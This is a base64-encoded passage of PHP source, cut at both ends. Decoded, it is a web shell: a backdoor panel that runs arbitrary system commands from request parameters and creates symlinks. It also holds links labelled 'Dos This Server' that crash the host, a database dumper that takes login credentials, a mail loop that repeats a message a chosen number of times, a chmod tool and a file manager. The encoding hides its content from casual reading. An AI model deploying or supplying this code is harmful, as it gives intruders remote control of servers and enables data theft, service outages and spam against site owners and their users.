RnJlZSBTcGFjZSA6ICIuc2l6ZWUoZGlza19mcmVlX3NwYWNlKCIvIikpLiI8YnI+VG90YWwgU3BhY2UgOiAiLnNpemVlKGRpc2tfdG90YWxfc3BhY2UoIi8iKSkuIjxicj5SZWdpc3Rlcl9HbG9iYWxzIDogIi4kcmVnaXN0ZXJnLiI8YnI+Q3VybCA6ICIuJGN1cmxzLiI8YnI+RGF0YWJhc2UgIi4kZGJfb24uIjxicj5TZXJ2ZXIgTmFtZSA6ICIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiI8YnI+QWRtaW4gU2VydmVyIDogIi4kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ10uJGVuZDsNCmV4aXQ7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjbWQiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8dGV4dGFyZWEgcm93cz0iMTkiIG5hbWU9IlMxIiBjb2xzPSI4NyI+JzsNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD48cCBhbGlnbj0iY2VudGVyIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkbyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNTAiPjxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0icG9wZW4iPnBvcGVuPC9vcHRpb24+DQo8L3NlbGVjdD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iZVhlY3V0ZSI+DQo8L3A+PC9mb3JtPicuJGVuZDtleGl0O30NCmlmICgkX0dFVFsnZG8nXT09InN5bWxpbmsiKXsNCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj4NCjxwIGFsaWduPSJjZW50ZXIiPg0KU3ltTGluayBXaXRoIFBIUDxicj48aW5wdXQgbmFtZT1hZDFzeXAgc2l6ZT01MD4gVE8gPGlucHV0IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4ic3ltbGluay50eHQiLiciIG5hbWU9YWQyc3lwIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1TeW1MaW5rIT48aHI+PHAgYWxpZ249ImNlbnRlciI+PC9mb3JtPg0KPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSInLiRtZS4nIj48cCBhbGlnbj0iY2VudGVyIj4NCg0KU3ltTGluayBXaXRoIE9TIDogPGJyPjxpbnB1dCBuYW1lPWFkMXN5YyBzaXplPTUwPiBUTyA8aW5wdXQgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiJzeW1saW5rLnR4dCIuJyIgbmFtZT1hZDJzeWMgc2l6ZT01MD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVN5bUxpbmshPg0KPC9wPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZDFzeXAnXSAmJiAkX1BPU1RbJ2FkMnN5cCddKXsNCmlmIChzeW1saW5rKCRfUE9TVFsnYWQxc3lwJ10sJF9QT1NUWydhZDJzeXAnXSkpew0KYWxlcnQoIlN5bWxpbmsgV29ya2VkICEiKTsNCn1lbHNlew0KYWxlcnQoIlN5bWxpbmsgTm90IFdvcmtlZCAhIik7DQp9fQ0KaWYgKCRfUE9TVFsnYWQxc3ljJ10gJiYgJF9QT1NUWydhZDJzeWMnXSl7DQppZiAoc3lzdGVtKCdscyAtcyAnLiRfUE9TVFsnYWQxc3ljJ10uIiAiLiRfUE9TVFsnYWQyc3ljJ10pKXsNCmFsZXJ0KCJTeW1saW5rIFdvcmtlZCAhIik7DQp9ZWxzZXthbGVydCgiU3ltbGluayBOb3QgV29ya2VkICEiKTt9DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJkMHNsb2NhbCIpew0KZWNobyAkaGVhZC4nDQo8cCBhbGlnbj0iY2VudGVyIj5JZiBZb3UgQ2xpY2sgVGhpcyBMaW5rIFRoaXMgU2VydmVyIENyYXNoZWQuPGJyPlRoaXMgV29ya2VkIEluIFBocCA1LjMueCA6IDxhIGhyZWY9Ij9kb3N0aGlzc2VydmVyPTEiIHRhcmdldD0iX2JsYW5rIj48Zm9udCBzaXplPTQ+RG9zIFRoaXMgU2VydmVyIEkgQW0gU3VyZSA8L2ZvbnQ+PC9hPjxicj5UaGlzIFdvcmtlZCBJbiBQaHAgNC54LnggQW5kIDUuMi45IDogPGEgaHJlZj0iP2Rvc3RoaXNzZXJ2ZXI9MiIgdGFyZ2V0PSJfYmxhbmsiPjxmb250IHNpemU9ND5Eb3MgVGhpcyBTZXJ2ZXIgSSBBbSBTdXJlIDwvYT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9HRVRbJ2Rvc3RoaXNzZXJ2ZXInXT09IjEiKXsNCmZ1bmN0aW9uIGRvc3NlcnZlcigpew0KJGp1bms9c3RyX3JlcGVhdCgiOTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTkiLDk5OTk5KTsNCmZvcigkaT0wOyRpPDI7KXsNCiRidWZmPWJjcG93KCRqdW5rLCAnMycsIDIpOw0KJGJ1ZmY9bnVsbDsNCn0NCn0NCmRvc3NlcnZlcigpOw0KfQ0KaWYgKCRfR0VUWydkb3N0aGlzc2VydmVyJ109PSIyIil7DQpmdW5jdGlvbiBjeCgpe2N4KCk7fQ0KIGN4KCk7DQp9DQppZiAoJF9HRVRbJ2RvJ109PSJjb252ZXJ0Iil7DQokaGFzaD1udWxsOw0KaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nbWQ1Jyl7DQokaGFzaD1tZDUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn1lbHNlaWYgKCRfR0VUWydzdHJpbmd0b2gnXSAmJiAkX0dFVFsnaGFzaHRvaCddPT0nc2gxJyl7DQokaGFzaD1zaGExKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2NyYzMyJyl7DQokaGFzaD1jcmMzMigkX0dFVFsnc3RyaW5ndG9oJ10pOw0KfWVsc2VpZiAoJF9HRVRbJ3N0cmluZ3RvaCddICYmICRfR0VUWydoYXNodG9oJ109PSdiNjRlJyl7DQokaGFzaD1iYXNlNjRfZW5jb2RlKCRfR0VUWydzdHJpbmd0b2gnXSk7DQp9ZWxzZWlmICgkX0dFVFsnc3RyaW5ndG9oJ10gJiYgJF9HRVRbJ2hhc2h0b2gnXT09J2I2NGQnKXsNCiRoYXNoPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ3N0cmluZ3RvaCddKTsNCn0NCmVjaG8gJGhlYWQuJw0KPGZvcm0gbWV0aG9kPWdldCBhY3Rpb249IicuJG1lLiciPg0KPHAgYWxpZ249ImNlbnRlciI+Q29udmVydDxicj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kbyB2YWx1ZT1jb252ZXJ0Pg0KPGlucHV0IG5hbWU9c3RyaW5ndG9oIHNpemU9NTg+PHNlbGVjdCBuYW1lPWhhc2h0b2g+DQo8b3B0aW9uIHZhbHVlPSJtZDUiPk1ENTwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iY3JjMzIiPkNSQzMyPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJzaGExIj5TSEExPC9vcHRpb24+DQo8b3B0aW9uIHZhbHVlPSJiNjRlIj5CYXNlNjQgRW5jb2RlITwvb3B0aW9uPg0KPG9wdGlvbiB2YWx1ZT0iYjY0ZCI+QmFzZTY0IERlY29kZSE8L29wdGlvbj4NCjxicj48dGV4dGFyZWEgY29scz02MCByb3dzPTE4PicuJGhhc2guJzwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ29udmVydCI+DQoNCjwvcD48L2Zvcm0+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfR0VUWydkbyddPT0iZHVtcCIpew0KZWNobyAkaGVhZC4nPHAgYWxpZ249ImNlbnRlciI+JzsNCmVjaG8gJzx0YWJsZSBib3JkZXI9MSB3aWR0aD00MDAgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiICBib3JkZXJjb2xvcj0jQzZDNkM2IGNlbGxwYWRkaW5nPTI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0YyRjJGMj48cCBhbGlnbj1jZW50ZXI+PGI+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTIgY29sb3I9IzQzMzkzND5CYWNrdXAgRGF0YWJhc2U8L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+REIgVHlwZTo8L2ZvbnQ+PC90ZD48dGQgd2lkdGg9MjUwIGJnY29sb3I9I0VBRUFFQT48Zm9ybSBtZXRob2Q9cG9zdCBhY3Rpb249IicuJG1lLiciPjxzZWxlY3QgbmFtZT1tZXRob2Q+PG9wdGlvbiB2YWx1ZT0iZ3ppcCI+R3ppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9InNxbCI+U3FsPC9vcHRpb24+IDwvc2VsZWN0PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+U2VydmVyOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgc2l6ZT0zNT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD0xNTAgYmdjb2xvcj0jRUFFQUVBPjxmb250IGZhY2U9QXJpYWwgc2l6ZT0yPlVzZXJuYW1lOjwvZm9udD48L3RkPjx0ZCB3aWR0aD0yNTAgYmdjb2xvcj0jRUFFQUVBPjxpbnB1dCB0eXBlPXRleHQgbmFtZT11c2VybmFtZSBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+UGFzc3dvcmQ6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhc3N3b3JkPjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPTE1MCBiZ2NvbG9yPSNFQUVBRUE+PGZvbnQgZmFjZT1BcmlhbCBzaXplPTI+RGF0YSBCYXNlIE5hbWU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTI1MCBiZ2NvbG9yPSNFQUVBRUE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRibmFtZT48L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD00MDAgY29sc3Bhbj0yIGJnY29sb3I9I0VBRUFFQT48Y2VudGVyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBEdW1wISAgIiA+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPjwvY2VudGVyPjwvdGFibGU+Jy4kZW5kO2V4aXQ7fQ0KaWYgKCRfUE9TVFsndXNlcm5hbWUnXSAmJiAkX1BPU1RbJ2RibmFtZSddICYmICRfUE9TVFsnbWV0aG9kJ10pew0KJGRhdGUgPSBkYXRlKCJZLW0tZCIpOw0KJGRic2VydmVyID0gJF9QT1NUWydzZXJ2ZXInXTsNCiRkYnVzZXIgPSAkX1BPU1RbJ3VzZXJuYW1lJ107DQokZGJwYXNzID0gJF9QT1NUWydwYXNzd29yZCddOw0KJGRibmFtZSA9ICRfUE9TVFsnZGJuYW1lJ107DQokZmlsZSA9ICJEdW1wLSRkYm5hbWUtJGRhdGUiOw0KJG1ldGhvZCA9ICRfUE9TVFsnbWV0aG9kJ107DQppZiAoJG1ldGhvZD09J3NxbCcpew0KJGZpbGU9IkR1bXAtJGRibmFtZS0kZGF0ZS5zcWwiOw0KJGZwPWZvcGVuKCRmaWxlLCJ3Iik7DQp9ZWxzZXsNCiRmaWxlPSJEdW1wLSRkYm5hbWUtJGRhdGUuc3FsLmd6IjsNCiRmcCA9IGd6b3BlbigkZmlsZSwidyIpOw0KfQ0KZnVuY3Rpb24gd3JpdGUoJGRhdGEpIHsNCmdsb2JhbCAkZnA7DQppZiAoJF9QT1NUWydtZXRob2QnXT09J3NxbCcpew0KZndyaXRlKCRmcCwkZGF0YSk7DQp9ZWxzZXsNCmd6d3JpdGUoJGZwLCAkZGF0YSk7DQp9fQ0KbXlzcWxfY29ubmVjdCAoJGRic2VydmVyLCAkZGJ1c2VyLCAkZGJwYXNzKTsNCm15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCiR0YWJsZXMgPSBteXNxbF9xdWVyeSAoIlNIT1cgVEFCTEVTIik7DQp3aGlsZSAoJGkgPSBteXNxbF9mZXRjaF9hcnJheSgkdGFibGVzKSkgew0KICAgICRpID0gJGlbJ1RhYmxlc19pbl8nLiRkYm5hbWVdOw0KICAgICRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheShteXNxbF9xdWVyeSAoIlNIT1cgQ1JFQVRFIFRBQkxFICIuJGkpKTsNCiAgICB3cml0ZSgkY3JlYXRlWydDcmVhdGUgVGFibGUnXS4iO1xuXG4iKTsNCiAgICAkc3FsID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgKiBGUk9NICIuJGkpOw0KICAgIGlmIChteXNxbF9udW1fcm93cygkc3FsKSkgew0KICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3Jvdygkc3FsKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaiA9PiAkaykgew0KICAgICAgICAgICAgICAgICRyb3dbJGpdID0gIiciLm15c3FsX2VzY2FwZV9zdHJpbmcoJGspLiInIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHdyaXRlKCJJTlNFUlQgSU5UTyAkaSBWQUxVRVMoIi5pbXBsb2RlKCIsIiwgJHJvdykuIik7XG4iKTsNCiAgICAgICAgfQ0KICAgIH0NCn0NCmlmICgkbWV0aG9kPT0nc3FsJyl7DQpmY2xvc2UgKCRmcCk7DQp9ZWxzZXsNCmd6Y2xvc2UoJGZwKTt9DQpoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgLiAkZmlsZSk7ICAgDQpoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vZG93bmxvYWQiKTsNCmhlYWRlcigiQ29udGVudC1MZW5ndGg6ICIgLiBmaWxlc2l6ZSgkZmlsZSkpOw0KZmx1c2goKTsNCg0KJGZwID0gZm9wZW4oJGZpbGUsICJyIik7DQp3aGlsZSAoIWZlb2YoJGZwKSkNCnsNCiAgICBlY2hvIGZyZWFkKCRmcCwgNjU1MzYpOw0KICAgIGZsdXNoKCk7DQp9IA0KZmNsb3NlKCRmcCk7IA0KfQ0KDQppZiAoJF9HRVRbJ2RvJ109PSJtYWlsIil7DQplY2hvICRoZWFkLicNCjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0iJy4kbWUuJyI+DQo8cCBhbGlnbj0iY2VudGVyIj4NCkFkZHJlc3MgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iYWRtYWlsIiBzaXplPSI1MCI+PGJyPjxicj5TdWJqZWN0IDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InN1Ym1haWwiIHNpemU9IjUwIj48YnI+PGJyPjx0ZXh0YXJlYSBjb2xzPTcwIHJvd3M9MTggbmFtZT10ZXh0bWFpbD5UZXh0PC90ZXh0YXJlYT48YnI+PGJyPk51bWJlciBGb3IgU2VuZCA6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJudW1haWwiIHNpemU9IjUiIHZhbHVlPTE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNlbmQhPjwvZm9ybT4nLiRlbmQ7ZXhpdDt9DQppZiAoJF9QT1NUWydhZG1haWwnXSAmJiAkX1BPU1RbJ3N1Ym1haWwnXSApew0KZm9yKCRtaT0wOyRtaTxpbnR2YWwoJF9QT1NUWydudW1haWwnXSk7JG1pKyspew0KbWFpbCgkX1BPU1RbJ2FkbWFpbCddLCAkX1BPU1RbJ3N1Ym1haWwnXSwgJF9QT1NUWyd0ZXh0bWFpbCddKTt9DQp9DQppZigkX0dFVFsnZG8nXT09ImRiIil7DQplY2hvICRoZWFkO3NxbGNsaWVuVCgpO2VjaG8gJGVuZDsNCmV4aXQ7DQp9DQppZigkX1JFUVVFU1RbJ2ZpbGUyY2gnXSAmJiAkX1JFUVVFU1RbJ2NobW9kbm93J10pew0KJGNobW9kbnVtMj0kX1JFUVVFU1RbJ2NobW9kbm93J107DQpjaG1vZCgkX1JFUVVFU1RbJ2ZpbGUyY2gnXSwiMCIuJGNobW9kbnVtMik7DQp9DQppZigkX0dFVFsnZG8nXT09ImNobW9kIil7DQplY2hvICRoZWFkLiRmb3JtZy4kbm93YWRkcmVzcy4iPHAgYWxpZ249Y2VudGVyPjxiPkNobW9kPC9iPjxicj48aW5wdXQgc2l6ZT01MCBuYW1lPWZpbGUyY2ggdmFsdWU9JyIuJF9SRVFVRVNUWydhZGRyZXNzJ10uJF9SRVFVRVNUWydmaWxlbmFtZSddLiInPiBUbyAgPGlucHV0IG5hbWU9Y2htb2Rub3cgc2l6ZT0xIHZhbHVlPTc3Nz48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVNldD48L2Zvcm0+Ii4kZW5kO2V4aXQ7DQoNCn0NCi8qIGlmKCRfR0VUWydkbyddPT0iZWRpdCIpew0KaWYoJF9HRVRbJ2ZpbGVuYW1lJ109PSJkaXIiKXsNCmlmKGlzX3JlYWRhYmxlKCRfR0VUWydhZGRyZXNzJ10pKXsNCmNoZGlyKCRfR0VUWydhZGRyZXNzJ10pO31lbHNle2FsZXJ0KCJQZXJtaXNzaW9uIERlbmllZCAhIik7fQ0KDQp9fSAqLw0KJGFyYWRkcmVzc3M9ZXhwbG9kZSgkc2xhc2gsZ2V0Y3dkKCkpOw0KJG1hdGhhcnJheXk9Y291bnQoJGFyYWRkcmVzc3MpLTE7DQokYWRkcjFiYWNraz1zdHJfcmVwbGFjZSgkYXJhZGRyZXNzc1skbWF0aGFycmF5eV0sIiIsJGFyYWRkcmVzc3MpOw0KZm9yKCRjb3VudGJhY2s9MDskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGFycmF5YmFja2VbJGNvdW50YmFja109JHNsYXNoLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdOw0KJGJhY2tkaXJ1bml4eD0kYmFja2RpcnVuaXh4LiRzbGFzaC4kYWRkcjFiYWNra1skY291bnRiYWNrXTsNCn0NCmlmICgkc2xhc2g9PSJcXCIpew0KJGNvdW50YmFjaz1udWxsOw0KJGJhY2tkaXJ3aW49bnVsbDsNCmZvcigkY291bnRiYWNrPTE7JGNvdW50YmFjazxjb3VudCgkYWRkcjFiYWNrayk7JGNvdW50YmFjaysrKXsNCiRiYWNrZGlyd2luPSRiYWNrZGlyd2luLiJcXCIuJGFkZHIxYmFja2tbJGNvdW50YmFja107fQ0KJGJhY2tkaXJ3aW49JGFkZHIxYmFja2tbMF0uJGJhY2tkaXJ3aW47DQokYmFja2FkZHJlc3NzPSRiYWNrZGlyd2luOw0KfWVsc2V7DQokY291bnRiYWNrPW51bGw7DQokYmFja2Rpcndpbj1udWxsOw0KZm9yKCRjb3VudGJhY2s9MTskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGJhY2tkaXJ3aW49JGJhY2tkaXJ3aW4uIi8iLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdO30NCiRiYWNrZGlyd2luPSRhZGRyMWJhY2trWzBdLiRiYWNrZGlyd2luOw0KJGJhY2thZGRyZXNzcz0kYmFja2RpcndpbjsNCiRiYWNrYWRkcmVzc3M9c3RyX3JlcGxhY2UoIlxcIiwiLyIsJGJhY2thZGRyZXNzcyk7DQp9DQpmdW5jdGlvbiBjYWxjX2Rpcl9zaXplKCRwYXRoKQ0Kew0KJHNpemUgPSAwOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkNCnsNCndoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKQ0Kew0KJGN1cnJlbnRfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGVudHJ5Ow0KaWYgKCRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgJiYgIWlzX2xpbmsoJGN1cnJlbnRfcGF0aCkpDQp7DQppZiAoaXNfZmlsZSgkY3VycmVudF9wYXRoKSkNCiRzaXplICs9IGZpbGVzaXplKCRjdXJyZW50X3BhdGgpOw0KZWxzZWlmIChpc19kaXIoJGN1cnJlbnRfcGF0aCkpDQokc2l6ZSA9IGNhbGNfZGlyX3NpemUoJGN1cnJlbnRfcGF0aCk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnJldHVybiAkc2l6ZTsNCn0gDQpmdW5jdGlvbiBvcGVuZigkcGFyc2VmKXsNCmdsb2JhbCAkYmFzZXAsJHNsYXNoOw0KDQppZihzdHJsZW4oc3RycG9zKGdldGN3ZCgpLCRiYXNlcCkpPj0xKXsNCiRycj1zdHJfcmVwbGFjZSgkYmFzZXAsIiIsZ2V0Y3dkKCkpOw0KJHJyPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRycik7DQokZGlyb3Blbj0nPGEgaHJlZj0iJy4kcnIuIi8iLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn1lbHNlew0KJGRpcm9wZW49JzxhIGhyZWY9Ij9kbz1lZGl0JmFkZHJlc3M9Jy5nZXRjd2QoKS4kc2xhc2guJyZmaWxlbmFtZT0nLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn0NCnJldHVybiAkZGlyb3BlbjsNCn0NCmlmICgkX0dFVFsnYWRkcmVzcyddKXskaWZnZXQ9JF9HRVRbJ2FkZHJlc3MnXTt9aWYoJF9QT1NUWydhZGRyZXNzJ10peyRpZmdldD0kX1BPU1RbJ2FkZHJlc3MnXTt9DQppZigkY3dkPT0nJyl7JGN3ZD1nZXRjd2QoKTt9JG5vd2FkZHJlc3M9JzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuJGN3ZC4nIj4nOw0KJGFkPWdldGN3ZCgpOw0KJGhhbmQ9b3BlbmRpcigiJGFkIik7DQokY29pPTA7DQokY29pMj0wOw0KDQp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZWVlID0gcmVhZGRpcigkaGFuZCkpKSB7DQoNCg0KICAgICAgICBpZiAoJGZpbGVlZSAhPSAiLiIgJiYgJGZpbGVlZSAhPSAiLi4iKSB7DQoJCWlmIChmaWxldHlwZSgkZmlsZWVlKT09ImRpciIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInOw0KDQp9DQokY29pKys7DQokZmlsPSRmaWwuJzx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsgYm9yZGVyLXdpZHRoOiAwcHgiIGJvcmRlcmNvbG9yPSIjQ0RDRENEIiBiZ2NvbG9yPScuJGNvbG9ydC4nIHdpZHRoPSI5NTAiIGhlaWdodD0iMSIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZGlyLiAnIiAvPiA8YSBocmVmPSI/YWRkcmVzcz0nLiRjd2QuJHNsYXNoLiRmaWxlZWUuJHNsYXNoLiciPicuJGZpbGVlZS4nPC9iPjwvc3Bhbj48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iNjUiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLmRhdGUoInkvbS9kIiwgZmlsZWN0aW1lKCRmaWxlZWUpKS4nPC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRjd2QuJHNsYXNoLiIkZmlsZWVlIikpLCAtMykuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWRvd24mdHlwZT1kaXImYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZGlybmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZGlyJmFkZHJlc3M9Jy4kY3dkLiRzbGFzaC4nJmZpbGVuYW1lPScuJGZpbGVlZS4nIj5EZWw8L2E+PC90ZD48L3RyPjwvdGFibGU+Jw0KO30NCmVsc2V7DQoNCgkJaWYgKCRjb2kyICUyKXsNCiRjb2xvcnQ9JyIjZTdlM2RlIic7DQp9ZWxzZXsNCiRjb2xvcnQ9JyIjZTRlMWRlIic7DQp9DQoNCiRjb2kyKys7DQokZmlsZT0kZmlsZS4nPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1zdHlsZTogZG90dGVkOyBib3JkZXItd2lkdGg6IDBweCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIGJnY29sb3I9Jy4kY29sb3J0Licgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAg